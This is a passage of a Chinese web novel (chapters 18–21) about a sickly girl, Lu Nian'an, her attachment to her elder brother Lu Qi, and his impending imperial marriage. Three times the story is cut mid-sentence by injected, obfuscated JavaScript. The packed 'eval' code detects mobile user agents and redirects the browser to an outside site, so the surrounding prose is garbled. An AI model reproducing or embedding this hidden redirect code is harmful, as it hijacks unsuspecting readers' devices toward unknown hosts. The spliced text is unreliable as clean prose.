“你可能需要这份祝福。” 末了,她补充,丧气道:“或者你也不想要……那就放在这里如何?” 她不甚在意。 天色渐渐明朗,清晨里的雾气完全散开,空气中只有轻微的水汽浮动。 陆念安回到山中时,鹅黄色裙摆及地,干净的步履染上一圈泥。 厢房内莲叶正在收拾包袱。老旧的木桌上一层不染,那块硬木板一样的榻上,小被子被叠成整齐的方块。 一切都回归成原来的样子,陆念安意识到什么,上前两步:“我们要回家了吗?” “公子方才来了一趟,见小姐你不在,便只让我先将东西收拾妥当。” “那哥哥呢?”她额上有细细的汗珠,一片晶莹。 莲叶递了块手帕给她,“公子现下已下山了,待会儿回来,应是要将小姐带回府的。” 陆念安便将手帕叠起来擦脸,方才出了身薄汗,总觉得粘粘糊糊。 心中升起微弱的不适。 她突然也有些想家了,山中不如府里,衣食皆消减多半……更不能时刻见到哥哥。 * 陆祈是在正午时回来的,陆念安才知,他原是下山去看那些流民了。 那时她正坐在廊下赏花,仰起头,一眼就看见那道熟悉身影。 天光大亮,昨夜的雨珠化作热气升腾,身形修长的白衣男子背光走来,身后跟着几个陌生的人。 那抹粉色也跟在身后。 原 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哭着说疼时,肩侧会很轻微地颤抖着。 陆祈只好将她揽在怀中,抬手替她擦泪。 他骨指很硬,不似文弱书生的手,指腹也是粗砺的,抚在柔软的眼下时,她抖动地更明显。 “好了,不哭了。”他只好放轻了动作,“还有哪里难受?” 其实也没那么疼。 可陆念安想让哥哥关心她。也不只是想要关心,更想要哥哥抱她,喜欢她。 “心口也疼。”陆念安好不容易站稳,双手环住哥哥的腰腹,将脸颊抵在他心口的位置。 这是一个完全信任地姿势。 可她好像忘了,她这个年纪,早已不能同哥哥如此亲密。 她太依赖他了。 生病的人越来越有恃无恐,她用他衣衫蹭去眼泪,仰起头,湿漉的双眸可怜巴巴:“哥哥,我要回家。” 环住他腰腹的手在此刻也紧了两分。她不知道这个动作有什么含义,只是下意识地,同哥哥贴紧。 像一个青涩的红苹果。 陆祈没有说话,下颚紧绷。 陆念安还在闹不满,声音足够惹人怜惜。她是漂亮柔弱的孩子,没有人会不怜惜她的。 陆祈也不例外。 他摸了摸她的头以示安抚,又让人送了药来。 守着她喝完药,他抽身离去。 仿若没听见妹妹挽留的声音。 清平这里的流民,处理的好了,便是第一批被送去越州的人。 圣上正盯着此处。 陆祁一个人能走到这个位置,从来就不是靠运气。 位高权重之人,不允许自己走错一步。 18. 第 18 章 等陆念安在醒来时,已到了山下。 午时才用过药,烧已经退了,只那药中应是加了安眠的一物,她沉沉睡了许久。 恍惚间感受到一种不同于山间的暖意——是柔软的毯子,和芙蓉糕摆散发而出的香甜。 她已经回家了吗? “小姐,润润嗓子。”是秋菊倒了热茶递过去。 陆念安颤着指尖,没什么力气地接过茶杯。茶水温热,顺着嗓子往下延,让她清醒了几分。 忽得就感受到一阵摇晃,垂眸,淡绿色茶水散开一圈一圈波纹。 “怎么下山了?”她像是才反应过来,怀疑地拉起车帘,窗外夜色无边,月光沉沉压下来,像流动的碎银。 夜里安静,秋菊就缓声同她解释着:“小姐用完药后又烧了一阵,公子不放心,所以托人先将小姐送走了。” 许是察觉到陆念安愣住,秋菊便又笑道:“等回了上京,正巧先去捡药,是之前太医开得那个方子,小姐不用担心,都是妥善备好了的。” 车内按往日的起居备至,清雅的熏香,桃花模样的烛灯,柔软的团丝薄被……的确很妥善,甚至可以衬得上周到细致。 陆念安却实在高兴不起来。 可能是因为,生了病得人便会脆弱一些。 她想起白日里,喝药时对兄长的恳求。 她想让他留下,一时难过,又说了句难听的话。 哥哥会哄她,会亲自拿起瓷勺喂药,会告诉她——他只有阿念一个妹妹了。 可他将他唯一的妹妹丢下了。 尽管这在旁人眼中,是一种妥善。 无边夜色笼罩着马车,山林之间,流淌着孤独的寂静。陆念安默不作声地低下头,眼眸微红。 大夫总说,要开心一些,病也会好得快些。 原来这话不是没有道理,就比如此刻,心脏一抽一抽地疼,她头便也疼极了。 看来难过时,病也会好得慢一些。 * 山路婉转,转到上京时,天已大亮。 车内温度舒适,陆念安昏迷间,秋菊又替她喂了两次药,直至她烧完全退下。 此时晨日里最热闹的片刻被几人赶上。 整条街商铺林立,门皆敞开。卖菜的大娘将扁担放下,翠绿色青菜上挂着水珠,引来几个小生过去问价。 马车却不停歇,最终驶过这些喧嚣,在巷尾的一间药铺前停下。 陆念安一直在吃得几副方子,都是从宫中留出的。 那几副方子到都繁杂,细细碎碎的药材有几十种,有几味实在难寻,放眼整个上京,却只有这一间铺子能配齐。 府中药材耗尽,秋菊才让赶马的小生将车拉到此处。此时拉开帷幔,下车时不忘转过头叮嘱:“小姐你在车上歇息片刻……” “我想和秋菊一起去。” 说这话的人大概没什么力气,轻飘飘落下一句。 她的确也没什么心力。 在得知哥哥还要明日才会回家时,陆念安陷入了一种前所未有的迷茫。 没有难过,反而是一种惶恐。 她真的觉得自己被丢下了。 又想哥哥是不是有些讨厌她。 下了马车,沐在刺目的白光中,使得双眼微微胀痛。陆念安着白衣,面色更为苍白,静静立在一旁,就同周遭一切都格格不入。 这是整个上京最繁荣的一条巷子。 她乖乖站在药铺旁等着。 街边人群熙攘,这里有形形色色的人,或高或矮或胖或瘦,三五两人的约着喝茶,点一叠点心,免不得要聊起南边的那场雨。 陆念安发着呆,那些未消减音量的声音便主动钻进她的耳朵。 有提起兄长的,有提起大皇子的。 “崔姑娘也去了清平?” 街角推着糖葫芦的老头这时缓慢走过,红色的果儿色泽艳红,陆念安本看着山楂果子发呆,忽得听见身后这话,忍不住回过头。 一穿着灰色长袍的小生抿了口茶,缓声道:“崔家姑娘心性纯真,此番又协助陆大人归置流民,你说圣上会他们赐婚吗?” “谁知道呢?”摇着扇子的小生一顿,又改口:“总归崔家和陆家的婚事都快了。” 不论圣上赐婚与否,崔家与陆家的婚事,应是都快了。 于是一整个晨日,陆念安都未曾忘了这两句话。 等回了府中,她甚至还未反应过来。喝药时连苦也不叫了,甚至怔怔地感受苦涩。 她傻乎乎地模样,秋菊便递给她颗甜枣,叫她压一压。 可心也是苦的。 小姑娘很少经历这样的挫败,当下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14037792|148128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就焉了吧唧。 只靠在榻边,连那甜枣也未用——她迫切的需要什么,来让自己保持清醒。 秋菊却以为她是头疼的难受,到也未打扰她,反而给她空间静一静。 等天色暗下,秋菊才进屋点灯,偶然间瞧见她还在原地坐着,一时间才发现她的不对,忙让她先睡。 好不容易等她睡下,西院那传来消息,又说是公子可能要提前回来。 并不是不确定的消息,夜深时,陆祈就踩着月光入了北院——再次以前,他从不会在这个时间点来妹妹的宅院。 屋内陆念安刚刚睡下,秋菊轻轻推开门走出,然后将这一整天发生的事情,都事无巨细地交待了一遍。 话才说了几句,一侧的门被推开,方才乖乖入睡的人,正小心翼翼地探头偷看。 轻纱制成的寝衣挂在她肩侧,松松垮垮。月光缓缓勾勒出女孩家纤柔的身姿,白皙又柔软。 陆念安从来都是漂亮又惹人怜爱的孩子。 她当然也很懂得利用这一点,连如何落泪最惹人疼惜,都悟出来七七八八。 只默默哭着,哭得人无法招架,好叫人感同身受她有多委屈。 “哥哥。”她擦眼泪,又低下头:“你陪陪我。” 病中的小姑娘格外脆弱,陆祈只好陪她进了闺房,淡淡的馨香袭来,他没什么表情,转过身让陆念安坐下,又等她开口说话。 生了病的人还有恃无恐,陆念安没坐下,也没急着质问他为何丢下自己,她只是独自纠结了会儿。 仰起头,她问他:“哥哥喜欢阿念吗?” “当然喜欢阿念了。”没有让她等太久,陆祈的声音,柔和,缓慢,让人无端想起质地最好的白玉。 想到她头疼,陆祈抬起手,宽厚地掌心落在她发间,有一搭没一搭地替她顺发。 乌发被大手抚摸发出“沙沙”声。 像极了心跳的声音,一声一声,在寂静的夜中,没有其他声音比这更清晰。 “真的吗?” 陆念安捂着心口想让它别跳了。 “这几日哥哥不在,自己乱想些什么?”陆祁侧头看她,近日里京中流言四起,不乏有说她日后处境艰难的话语,难免怕她当了真。 他拍了拍她的头:“好了阿念,没有哥哥会不喜欢妹妹的。” 19. 第 19 章 “好了阿念,没有哥哥会不喜欢妹妹的。” 他声音仍旧柔和缓慢,带着几分微不可查的纵容。 可这不是她想要的答案。 陆念安捂着心口的双手忽得僵住。 冷风透过窗户的缝隙,高架上的烛灯明明灭灭,落在她眼底,像月光洒在湿润的湖面上,波光粼粼。 陆念安抬手揉眼,眼底有细碎的晶莹被碾碎:“好吧。” 这声音实在是闷透了。 陆念安受了委屈以后,明亮的眼眸便和蒙了层雾一样,眸中氤氲着水汽,还要自欺欺人般垂下眼。 陆祁当然看出她怀着心事。 大手缓慢移到她发顶的位置,不轻不重地摩挲起来,问道:“今日有人和阿念说了什么?” 话落的瞬间,陆念安的眼泪便没骨气地涌出来。 她有时也觉得自己很娇气,可是眼泪无法控制。 眼泪和心跳一样,它们一点也不乖。 越想越难过,陆念安呼出口气,干脆转过身,埋进兄长地怀中大哭。 她将自己的一张脸都藏进白衣中,只露出毛茸茸的后脑勺,掩耳盗铃一般。 “阿念,”叹气声中带着一丝无奈,陆祁轻轻掰开她的头,用手帕温柔地替她擦去眼泪,又提醒她:“再哭明日都要眼睛疼了。” 在妹妹面前,陆祁惯是柔和的兄长,他不会生气,不会计较,偶尔给点小小的惩戒,都够她委屈好一阵。 他总是对她的眼泪没有办法。 可他将她养成了个软骨头,离不得人。 这到有些麻烦了。 夜深寒重,陆念安哭了会儿也没说出个所以然来,陆祁便要走。 临走前,他却又问了一次:“可是有人和阿念说了什么?” 他今日总说这话,陆念安有些不明白。 她心中多数的委屈,不来源于旁人。 只是因为她自己。 可她还没理清楚,现下说不出口。 烛光下,陆念安捏着衣袖一阵不安,过了好一会儿,才扭扭捏捏道:“阿念过几日再同哥哥说。” 她还需要想一想怎么说出口。 兄妹两朝夕相处,从来都是互相了解着的。 她同样了解她的兄长。 陆念安还记得前些年,兄长开始真正教她习字。不同于以往,只带她感悟几个词的含义,他要她写完一整本诗集。 她哭过闹过,又指着诗集哇哇大哭,就如同每一个厌学的孩子一样,呜咽几声,提笔的手都是颤抖的。 可眼泪在这一刻会失去作用。 哥哥只冷冷地看着她哭,甚至上前替她研磨,这期间他一句话也不会说。 原来他惯着她,却又不是无条件满足。 稍大一些后,陆念安学会了一个词来形容他—— 兄长是有原则的。 她要好好想想怎么说。 已是三更,天色并不早。 秋菊进屋,用剪子将烛芯掐灭,整间屋子暗了下来,只剩下月光明晰。 陆念安乖乖地躺在榻上,晕乎了一天,她也想睡个好觉,脊背忽得硌上一块硬物。 翻过身,指尖跟着挪过去,摸到了一块有些凉的石头。 月光下,质地细腻的白玉温润柔和,没有一丝瑕疵。 是哥哥的。 大抵是方才落下了。 陆念安将玉佩篡进手心里,一边想着明日要将玉佩还回去,一边沉沉睡去。 * 翌日一早,陆念安并未忘了这玉佩,用过早膳后,便慢慢悠悠去西院一趟。 等到了院中,院子里却出乎意料地平静,好像一个人也没有一般。 陆念安蹙眉不解。 哥哥昨夜这般晚才回来,今日却也要去宫中吗? 她实在不明白宫里怎么会有这么多事情。 来时激动地心情渐渐散尽,陆念安进屋,原本想将玉佩随便仍在一个角落,进了书房,又改变了注意。 她要亲手将玉佩给哥哥。 清晨的院中,没什么人,西院里更是沉静,呆板无趣,一整面书柜上连一本闲书也翻不出来。 陆念安有些呆不下去,妥帖地将玉佩收好,放进自己荷包中,打算出去转一转。 这时屋外传来细碎的动静,脚步声凌乱,应是哪个下人匆忙回来了。 近日里忙来忙去,青竹只觉得自己是昏了头,早起时把外衫穿反了先不说,方才下台阶又踩空摔倒…… 此刻才得了空,他拍拍衣袍,侧过头同一旁的松枝叮嘱:“我今日还得将北院的药归置好,礼单上的物件便由着你去寻。” 松枝长着个娃娃脸,总给人办事不牢靠的错觉。 青竹虽然不想以貌取人,但没忍住,又重新叮嘱了一遍,从南街角的料子说到被街角的花簪,最后长舒口气:“等明日宫宴,圣上下旨赐了婚事,送去崔家的礼也要在翻一翻,你且先按照单子上寻,可万万不能漏了什么。” 他拍拍松枝的肩:“你去吧,我进屋将信帖收好。” 松枝没动,他从前是大夫人那处的小厮,平日里只需要搬搬东西理理库房,没曾想被调到西院的第一月,就接管到这么一件事。 礼单还握在手心,事关公子的婚事,松枝呼出口气,担忧道:“青兄,这么重要的事情给我,我我,我有些紧张。” “要不还是我去理药材吧。” “不可,”青竹皱眉否定,一边推开书房的门:“其实崔家那边没什么忌讳,按礼单上来便不会出错,你且……” 推门地瞬间,光线倾斜着散进屋内,青竹抬眸看去,就见本该平静的屋中,多出道水蓝色身影。 还未说完的话忽得就止住了。 青竹很快反应过来,恭敬道:“小姐。” “我来给哥哥送玉佩。” 陆念安对着他们笑了笑,那笑意不答眼底,却有些勉强。 * 三更天回府,天还未亮又去了宫中。陆祈不是神人,连轴转了一日,他也会疲倦。 临走前,却有同僚前来祝贺,皆是贺他明日的宫宴。 这已经不是什么秘密了,陆大人此番去清平,替圣上解决了一桩烦心事,明日的宫宴,便是圣上为迎他而置办。 宫宴之上,除赏赐以外,大抵还要替陆大人赐一桩婚事。 圣上特意为有情人赐婚,没人会不羡慕。 陆祈面色平静。 久居官场之人,喜怒不形于色,聊起私事来,他很少细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14049922|148128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。 大皇子也走来祝贺。 他是知道内幕的,此番崔姑娘去清平施粥,加以修饰后传出来也是一段佳话,圣上听了极欢喜,又听说陆祈同崔涵正准备订婚,便要亲自来当这个媒人。 送完祝贺,大皇子又笑:“本王便不扰陆兄了,不过明日陆兄的妹妹来了,本王到是可以让柔嘉带她逛一逛。” 柔嘉公主是大皇子的二妹,两人年纪相仿,应是能玩到一处的。 陆祈听完,面色却越发沉静,半响之后,才道出一声“无妨”。 这便是婉拒了。 暖阳散去的余晖时刻,陆祈回到西院。 院内沉静,一棵高大的梧桐树静立在角落,夏季高树常青,绿叶婆娑起舞。 路过这棵树时,陆祈想起前些年,他就是在此处教阿念练剑。 那时树还未这般高大。 一转眼,阿念和树都高了。 陆祈推门先去了书房,书房内同离去前一般无二,他抬步进了屋中,也是这时,一抹水蓝色身影从屋内跑出。 陆念安终于等到兄长回府,她手中还篡着那块白玉玉佩。 一句话没说,她先将玉佩递过去。 天色暗下,陆祈点燃了盏灯,他侧过身去接那玉佩,无意瞥见她指尖,正纠结且不安地搅在一起。 初夏的日子,陆念安早已换上了轻薄的衣裙,乌发盘起,露出纤长的脖颈来。 陆祈接过玉佩时,顺手替她将碎发抚至耳后,语气温柔地夸她:“阿念今日好乖。” 哥哥夸她乖。 陆念安只高兴了一秒,又委屈地搅起来手指。 她从来没有那一刻,如此刻这般迷茫过。 陆念安很好猜,情绪大多都写在脸上,不开心时,眼尾垂下,沮丧极了。 黄昏时刻,陆祈将为数不多的耐心也一并给了出去:“我们阿念想说什么?” 多数时候,陆念安都是直接了当地诉说着委屈。 陆祈没教过她藏着委屈,他从来都是让她将委屈说出来——说出来哥哥才会知道,说出来哥哥才会帮你。 大病初愈,陆念安一整个下午都憋着口气,隐隐间又感到了头疼。 今日听到了那番话时,她不是没有反应,只是她不喜欢去质问下人。 陆念安只有在面对陆祈时,才会露出最娇气的一面。说到最后,语气里已然带上了哭腔:“哥哥怎么能瞒着阿念呢?” 她湿漉漉地眼眸一眨不眨地盯着人看。 陆祈本想替她擦泪,指腹刚抵上去,小姑娘却又一躲。 她很少反抗他。 陆祈指尖微顿,很快反应过来,用着不容许人拒绝的力道,替她擦完眼泪。 “阿念,”陆祈看着她湿漉的眼眸:“那哥哥明日便带你去宫里如何?” 从清平到上京的那一夜,陆夫人下山送陆祈,细细叮嘱了一番话,大意是让他去了宫里后,要好好看住幼妹。 陆祈那时沉默,他没有说的是,他没想过带陆念安去宫里。 他知道她会不适应,即便这是很正常的情绪——他将她养成了这般粘人的性子,她需要时间适应亲人的抽离。 他本意不是想瞒着她。 只是让她慢慢适应 20. 第 20 章 不知道从什么时候开始,同哥哥不再是无话不谈的关系。 他开始疏离。 而最让陆念安感到不妙的是,耳濡目染下,连她也发现,这样的疏离才是对的。 哥哥和妹妹不会是世间最亲密的人。 清晰意识到这一点以后,她很难过。 难过到不知如何开口,只能用沉默掩饰心底的起伏。 陆念安仰头看兄长的眼睛,她知道眼睛是不会骗人的。 陆祈望向她的目光中,有耐心和纵容。 他包容她所有的脾气,耐心等她回答,替她擦去眼泪。 却仅此而已。 此时烛光笼罩住兄妹两人。 陆祁看着陆念安仍然湿润的眼眸,耐心耗尽,淡声问她:“明日还想去吗?” 他从来不是完全依着她。 大手落在她脸颊,指腹摩挲她湿润的眼眸,又道:“哭得狠了,明日怎能出门?” 他就是想一个人去订什么婚。 连妹妹也不要。 闻言陆念安眼泪掉得更凶了,努力瞪大眼睛,凶巴巴且很有骨气地吼道:“不去就不去,我讨厌你!” 顺手避开陆祈递来的手帕,临走时,陆念安将书房的门狠狠一摔。 花梨门被砸进门框间,发出剧烈的声响动。这声音在一贯寂静的西院里,是吵闹到震耳的程度。 陆念安管也不管,一路跑回北院。 吹了一路热风,她回到闺房时,泪水混杂着汗水一同黏在颈侧,黏黏的,也让她觉得很渴。 楠木桌上摆着琉璃茶壶,是秋菊今早煮得甜茶,加了苹果橘子和玫瑰花瓣……和旁得茶都不一样。 陆念安走到桌案旁,抬起茶壶替自己倒了一杯,一口气喝掉, 茶已经凉了,味道变得浓厚起来,是甜的。 可是哥哥并不喜欢。 陆念安将茶杯放下。 就像每个孩子都曾有过幼稚的想法,企图用生气,委屈,反常,来吸引亲人的注意力。 陆念安也不例外。 她现在就想找个人嫁出去,找一个喜欢甜茶的男子。 她婚后才不要想着哥哥。 一句话也不要和哥哥说。 这个年纪的姑娘,已经懵懵懂懂知道了婚姻的含义,是举案齐眉,要在一起一辈子的人。 她要和别人在一起…… 那哥哥会和她一样难过吗? 陆念安不安地在室内走来走去,一边猜忌哥哥的心思。 最终失望地躺在床榻上,在塌上翻来覆去—— 可是哥哥不会。 她的哥哥,是上京中最清雅端正的公子,是如果有一天,她有了心上人,哥哥也是只会笑着看她,再感叹一声“我们阿念真的长大了”的哥哥。 可是她也不想嫁给别人。 她只想嫁给自己的哥哥。 * 翌日是个好天气。 北院内,秋菊扑了些粉才将陆念安眼下的红肿稍稍盖住了些,又用螺子黛替她描了个眉,轻轻责怪:“小姐,又哭了一夜吧,怎这多眼泪呢?” “哪有。” 陆念安垂眸,赶在秋菊开口前,又道:“走吧走吧,再不走哥哥就不见了。” 兄妹两没有隔夜仇。 从晨日里睁开眼地那一刻起,陆念安想,她还是不要讨厌哥哥了。 陆念安同陆祁坐一辆马车前去宫中。 焚着香的车内,干净明晰,桌上还摆着新鲜的糕点果子,用来垫垫肚子是极好的。 陆祁很少用这些甜腻之物,也不喜在车内用食。 这些小姑娘喜欢的点心,从来都是给一个人特意准备的。 陆念安吃了一块糖果子,心情稍稍好了些,朝兄长的方向靠近。 兄妹两一早上还一句话也没说。 此时侧过头,陆祁看向某个小姑娘,神色平静,语调缓慢地提醒她:“阿念跟讨厌的人也要说话?” 怎么能将气话当真呢? 陆念安磨蹭着靠过去,试图让他忘记昨夜的这句话。 用指尖拉扯住兄长的袖摆撒娇:“阿念怎么会讨厌哥哥呢,明明阿念最喜欢哥哥了。” 她有事相求,亦或是做了错事藏不住时,便是这个语气。 陆祁没回答,只是淡淡扫了她一眼,等她主动开口。 果然没两秒,陆念安就憋不住了,继续扯着她袖子摇晃:“皇上要给哥哥赐婚,是因为哥哥喜欢崔姑娘吗?” 此时马车缓慢行驶在街道两边,嘈杂的声音透进车内,陆念安这句话在闹市中其实有些模糊不清。 陆祁听清楚了,垂下眸,见她一双眸子在光下,像琥珀一样透亮。 “阿念,婚姻不是那么简单的,无法用简单的喜欢来界定。”他罕见地同她解释。 陆念安没经历过什么风浪,她前半生里最苦的那一段记忆,痛到已经被封存起来,只余下浅淡的疼痛。 她实在是还像个孩子。 因着胆怯,哪儿也不想去,自记事起,一切苦恼有哥哥解决。 她远比这个年纪的姑娘要懵懂的多。 她所以为的观念,是喜欢就要一直在一起,讨厌就不要来往,一个人是好人便不能被称之为坏人……她的世界里,爱憎都是分明的。 现在陆祁却对她说,婚姻不能用喜欢来界定,这显然触及到她的盲区。 陆祁当然也看清她的茫然,手搭在她乌发上,缓声解释:“自古以来,世间大族里,多数都是联姻,联的是世家的底蕴,也是互相结成友好关系。婚姻从来都不能用喜欢来衡量,而是要用合适,一个合适的人,远比喜欢重要。” 陆念安听得懵懂,这是哥哥第一次同她说自己的婚事,她不由得疑问:“那阿念呢?” 阿念以后也要嫁给一个合适的人吗? “阿念不一样。”陆祁拍拍他的头:“我们阿念喜欢就好。” “……”陆念安觉得自己有些懂了。 那哥哥是不喜欢崔氏吗? 想到这里,她勾起嘴角笑了出来。 这笑声也惹来陆祁的目光,搭在她乌发上的手摩挲着,轻轻问她:“笑得这般开心,莫不是我们阿念已经有了心上人?” “有的。” 陆念安重重点头。 搭在她乌发上的头一顿。 陆祁轻笑,笑意不达眼底:“好了阿念,你还小呢,哪知道什么是喜欢。” * 下了马车,穿过云顶檀木作梁的游廊,一抬眼,宫阙高处,有盘龙舞凤的明珠镶嵌在檐上,用这世间最珍稀的宝珠,奢华而明亮。 这便是宫里了。 还未入席,陈尚书跑来同陆祁谈话,又不免聊起了重建水坝之事,枯燥而乏味的语句传入陆念安耳旁,她百般聊赖地低下头。 好在大皇子并未失言,还记着要带妹妹来找陆念安一事。 作为皇上最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柔嘉同陆念安解释。 原今日的宴会,不只是普通的庆功宴,更有祈福之意。 南边连日不断的雨虽是停了,但这么长时间的水灾,总是让人后怕。 水灾是小事,真正让圣上忧思的是——他怕这一次水灾,是惹了天上的哪位神仙不快。 前日里的雨水连日不断时,圣上也曾花重金请来大师做法。 大师缓缓摇头,却提出了用放花灯来祈福一事。 景国自有放花灯祈福的民俗,久而久之,人们甚至更愿意称上元节为花灯节。 辛苦劳作一年的百姓,会在即将开启劳作的春日以前,选择用放花灯的方式,朝天上的神仙祈愿。 祈求来年风调雨顺,祈求来年有个好收成。 从前宫中也会专门举行花灯宴,邀子民一同赏灯看月。只是这些年,这样宴会少了。 这次水灾过去,圣上忧思过度,想了想,还是决定补上一个花灯宴,同时下旨赦免天下,举国欢庆。 说这些话时,柔嘉一边打量着陆念安的神情,见她双眸一点一点亮起来,像明珠一般澄澈。 呼出口气,又道:“阿念想做吗?” 21. 第 21 章 落日时分,几个太监搬出了四五张长桌,在合并于一起。 跟着的宫女则是承上十几个匣子。匣中是细细的竹条,各色薄纸纱绢,棉线及小块小块的香烛。 都是制花灯时用上的小物件。 宫女们将东西摆放规整后退下。此时的院中,不似下午时那般冷清,多出了很多女眷。 温柔的余晖之下,陆念安还望见了眼熟的面孔,还未细看,却被柔嘉公主扯到一旁。 两个人走到其中一张桌子前,柔嘉公主挽起袖子,问她:“念安想做个什么花样?” 前些年,花灯还只是用薄纸叠出的长方形明灯,在中空下方的位置燃上灯烛便可放飞。 可自有人将明灯制成荷花放于水中后,便有越来越多的花样显露而出。 陆念安也喜欢花灯,她喜欢看那些被制成小花的灯盏,顺着河流飘向远方。 陆念安决定做一盏荷花灯。 柔嘉点头,作为东道主,便让宫女们将匣中的材料先备好。 比起只用薄纸便能叠出的明灯,有着颜色形状的荷花灯显然要难制一些。要用到棉线,纱绢,细竹条,香烛。 宫女裁开纱绢,用细竹条支撑起布料,弯成半圆的形状,最后用棉线来收尾,一小片花瓣便做好了。 这还只是开始,一盏荷花灯,要用到大小不一的花瓣共十多片。 虽有些麻烦,但姑娘们平时在家中,都有专门的嬷嬷来教女红,都是手巧细心的,在宫女的指导下,很快就做得像模像样。 陆念安也勉强完成第一片花瓣。 只可惜竹条一不小心弯成过大的弧度,最终呈现出来的花瓣胖胖乎乎,毫无美感。 “……” 默默放下花瓣,陆念安转过头,眼巴巴看着那宫女,神色间有些许疑惑。 那宫女只好忍着笑意,又重新示范一次。 等陆念安再次拿起竹条时,可能是因为想着这次要精细一些,一个用力,却失手将竹条掰断。断掉的竹条紧接着刺进指腹,很快有血丝溢出来。 她皮肤嫩,于是白皙指间,这伤口显得尤为刺眼。 宫女吓得忙放下手中物件过去。 陆念安疼得双眼冒泪花,怕小宫女担心,生生憋回去泪水,冲着人笑:“没事的,不疼。” “你继续教我就好。”陆念安又补上一句,却没什么说服力:“真的不疼。” 那小宫女只能擦擦头上冷汗,再度给她示范了一次,又配上轻柔地声音解释:“小姐,用不了这么大力,你看这样,就轻轻地……” 不知过了多久,柔嘉公主这边已经做完了花灯,随意搁置于一旁,她凑过去看陆念安:“姐姐做得如何?” “我也做完啦!” 陆念安这一次,用双手捧起那小花,荷花灯花片舒展开来,一共十六瓣,在黑暗中,泛着浅浅的粉,小小一盏,精巧极了。 虽然有多半都是那宫女的功劳,但陆念安还是如释负重地呼出口气—— 哥哥会喜欢吗? * 今日是夜间的宴,等再晚些时,圣上还会携子民一起放灯祈愿。 做完了花灯的女眷提着灯,一起往宴席那边走着。 这个时候,天色刚刚暗下来,宫中随处可见宫灯,星星点点的光芒连成一片,将整座宫殿都点亮。 女眷们大多相熟,此刻借着美好的夜色,有人随意聊起圣上即将点下的姻缘。 没有想过男主角的妹妹就跟在后面,女孩们说起私房话来,没什么顾忌。 “你们前日里没听说过林太傅想同陆家结亲吗?” 一个人当即接到,语气了然:“我就说嘛,林书意果然喜欢陆大人,怎么到被崔家那个抢了去。” “听说是陆大人主动求的,大抵还是喜欢吧,不然陆大人怎么会看上她家?” 很快借着这个话题,就你一句我一句的讨论起来。 跟在他们身后的陆念安忽然很想说一句不是的。 不是的,哥哥其实才不喜欢崔姑娘,哥哥只是说崔姑娘合适,只是…… 只是到了这一刻,陆念安恍得意识到,今夜过去,她就得叫崔姑娘嫂嫂了。 不管喜不喜欢,哥哥怎么能真的娶别人呢? 没等走上回廊,陆念安默默停了下来。 落单以后,身影便格外明显,柔嘉公主回头张望,走过去问道:“怎么了?” 想起来什么,柔嘉又解释:“是因为方才那些人?方才那些人不知道你的身份,你别难过。” “不是的,没有难过。”陆念安摇头,轻轻道:“我就是想等哥哥来。” “等他?”柔嘉皱眉,小小的脸蛋上不解:“你等他?” “哥哥说过要来接我的。”陆念安没有忘了这话。 她记得的。 她还记得哥哥说聊完会来接她。 柔嘉便为难道:“可是这个时间,有我父皇在那儿,陆大人大抵是走不开的。” “我带你先走不是更好吗?” * 等众人走后,陆念安就近找了处亭子坐下。 她还是没有同柔嘉公主离去,而是固执地选择了留下。 可能是因为,她有一些话想单独同哥哥说吧。 此时月明星疏,借着柔和月光,陆念安太不争气又没骨气地低下头。 被她捧在手中的荷花灯小小一盏,浅粉色的花叶舒展开,指尖拂过这些花叶时,她不由得想起做这花灯时的感受。 她手没有其他姑娘那样巧,只做了最简单的荷花样式,仍旧有些困难。 但当时怀揣着一种难以言说的悸动,于是再大的困难也很容易就克服掉。 只是因为他想将花灯送给哥哥。 就像许多年前的冬日,她第一次来到上京,第一次在上京过生辰,然后得到了一盏美丽的莲花灯作为生辰礼。 没有小姑娘会不喜欢那盏灯的。 直到时隔多年后的今日,那份喜悦也仍然未被磨灭掉,反而愈渐加重。 不知等了多久,在陆念安已经有些无聊以后,她终于听见细碎的脚步声。 站在长廊一侧的陆念安略有些激动地仰起头。 从黑暗中走来的,却不是她的兄长—— 是青竹提着宫灯走来,找到陆念安以后,松口气:“小姐,是大人让我来接你的。” “那哥哥呢?他怎么不自己来。”这声音闷闷的,还有些不情不愿。 青竹只好哄道:“是因为大人走不开,正在宴上等着小姐的呢!” “……” 虽不太满意,陆念安还是跟了上去,乖乖走在青竹后面,踏上长廊。 只是谁也没想到,会在此时发生意外。 宫宴之日,因着人多,宫女太监们也难免忙碌了些,陆念安刚走到廊上,迎面而来一个小宫女,捧着托盘就撞了上来。 檀木托盘倾斜而落,与此同时,那托盘上的茶壶也跟着倒了。 滚烫的茶水就顺着肩膀直接浇下——从来没经历过大面积烫伤的陆念安一愣。 最先反应过来的是秋菊,跟着就跑了过来,见她衣衫皆然湿透,皱起眉就要上前检查伤势。 陆念安一贯是娇弱的孩子,平日里磕着绊着了都是要抱怨好几日的,此刻喉间刚溢出几声呜咽准备喊疼。 